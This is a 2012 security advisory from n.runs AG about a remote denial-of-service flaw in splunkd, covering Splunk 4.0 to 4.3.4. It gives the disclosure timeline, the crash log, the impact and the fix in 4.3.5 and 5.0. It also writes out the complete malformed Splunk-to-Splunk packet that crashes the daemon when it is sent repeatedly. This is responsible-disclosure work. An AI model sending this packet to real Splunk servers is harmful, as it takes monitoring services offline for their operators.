Splunk versions 4.0 through 4.3.4 suffer from an unauthenticated remote denial of service vulnerability against splunkd.
712c0f2ebc8a92c6651117dcb6b048dd30c332c12100a46fccd41ffa48f1183d
n.runs AG
http://www.nruns.com/
security(at)nruns.com
n.runs-SA-2012.004
19-Nov-2012
________________________________________________________________________
Vendors: Splunk Inc., http://www.splunk.com
Product: Splunk 4.0 - 4.3.4
Vulnerability: Unauthenticated remote denial of service against splunkd
Tracking IDs: SPL-55521
________________________________________________________________________
Vendor communication:
2012/09/03 Reported the issue via Splunk's website
2012/09/04 Splunk responds and assigns tracking ID, plans fix for 4.3.5
2012/10/25 Splunk informs us that 5.0 will be available on November 1st
and 4.3.5 on November 15th. Proposes to defer announcement of
the vulnerability to ensure that people aren't forced to move
to a new major release in order to mitigate. n.runs agrees.
________________________________________________________________________
Overview:
When a splunktcp-input (for use in Splunk-to-Splunk communication) is
configured, an attacker can send an initial packet with a malformed
'__s2s_capabilities' field. This leads to a crash of the splunkd daemon
making the splunktcp-input unavailable. If the Splunk web-interface is
running on the same host, it will be unavailable, too as it needs to
communicate with splunkd.
Description:
An example packet looks like this (__s2s_capabilities is just 'A' here):
"--splunk-cooked-mode-v3--\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0.\0\0\0\SOH\0\0\0\DC3__s2s_capabilities\0\0\0
\0\STXA\0\0\0\0\0\0\0\0\ENQ_raw\0"
When this packet is sent multiple times, splunkd eventually crashes with a
crash log similar to this one:
[build 128297] 2012-08-30 13:34:01
Access violation, cannot read at address [0x00006A62] Exception address:
[0x6FC4500A] Crashing thread: TcpInputProcessor
ContextFlags: [0x0001007F]
Dr0: [0x00000000]
Dr1: [0x00000000]
Dr2: [0x00000000]
Dr3: [0x00000000]
Dr6: [0x00000000]
Dr7: [0x00000000]
SegGs: [0x00000000]
SegFs: [0x0000003B]
SegEs: [0x00000023]
SegDs: [0x00000023]
Edi: [0x099F0020]
Esi: [0x00006A62]
Ebx: [0x08BD5680]
Edx: [0x00000001]
Ecx: [0x01734000]
Eax: [0x05CD6A63]
Ebp: [0x03B0F9C4]
Eip: [0x6FC4500A] memcpy + 90/880
SegCs: [0x0000001B]
EFlags: [0x00010212]
Esp: [0x03B0F9BC]
SegSs: [0x00000023]
OS: Windows
Arch: i386
Backtrace:
Frame 0 @[0x03B0F9C4]: [0x6FC80475] memcpy_s + 72/123
Frame 1 @[0x03B0F9E0]: [0x67DA1201]
std::char_traits<char>::_Copy_s + 21/29
Frame 2 @[0x03B0F9F8]: [0x67DA394D]
std::basic_string<char,std::char_traits<char>,
std::allocator<char>>::assign + 126/146
Frame 3 @[0x03B0FA1C]: [0x67DA5E45]
std::basic_string<char,std::char_traits<char>,
std::allocator<char> >::operator= + 13/16
Frame 4 @[0x05CD287C]: [0x00006A62] ?
Frame 5 @[0x0064656B]: (Frame below stack)
Crash dump written to: C:\Program Files\Splunk\var\log\splunk\C__Program
Files_Splunk_bin_splunkd_exe_crash-2012-08-30-13-34-01.dmp
XXXXXXXXXXX /6.1 Service Pack 1
Threads running: 36
argv: [Splunkd -p 8089]
terminating...
Further analysis showed that the crash is indeed triggered by an incorrect
source address in a fastcopy_I call. It is unclear where this address comes
from, though and why the crash only happens after a certain amount of
packets.
Impact:
Denial of service of splunkd (and possibly the Splunk web-interface,
depending on configuration) until splunkd is restarted.
Fixes:
This issue has been fixed in Splunk 4.3.5 and 5.0.
________________________________________________________________________
Credits:
Alexander Klink, n.runs AG (discovery)
Moritz Jodeit, n.runs AG (further analysis)
________________________________________________________________________
References:
This advisory and upcoming advisories:
http://www.nruns.com/security_advisory.php
________________________________________________________________________
About n.runs:
n.runs AG is a vendor-independent consulting company specializing in the
areas of: IT Infrastructure, IT Security and IT Business Consulting.
Copyright Notice:
Unaltered electronic reproduction of this advisory is permitted. For all
other reproduction or publication, in printing or otherwise, contact
security@nruns.com for permission. Use of the advisory constitutes
acceptance for use in an "as is" condition. All warranties are excluded.
In no event shall n.runs be liable for any damages whatsoever including
direct, indirect, incidental, consequential, loss of business profits or
special damages, even if n.runs has been advised of the possibility of such
damages.
Copyright 2012 n.runs AG. All rights reserved. Terms of use apply.